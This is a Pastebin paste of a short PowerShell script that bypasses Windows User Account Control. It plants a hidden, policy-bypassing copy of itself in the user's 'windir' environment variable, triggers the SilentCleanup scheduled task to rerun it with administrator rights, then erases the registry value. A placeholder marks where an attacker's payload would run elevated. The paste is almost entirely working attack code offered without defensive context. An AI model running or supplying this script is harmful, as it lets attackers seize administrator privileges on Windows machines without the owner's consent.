mymoishy Jan 14th, 2020 57 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
  2.     #Payload goes here
  3.     #It'll run as Administrator
  4. } else {
  5.     $registryPath = "HKCU:\Environment"
  6.     $Name = "windir"
  7.     $Value = "powershell -ep bypass -w h $PSCommandPath;#"
  8.     Set-ItemProperty -Path $registryPath -Name $name -Value $Value
  9.     #Depending on the performance of the machine, some sleep time may be required before or after schtasks
  10.     schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null
  11.     Remove-ItemProperty -Path $registryPath -Name $name
  12. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand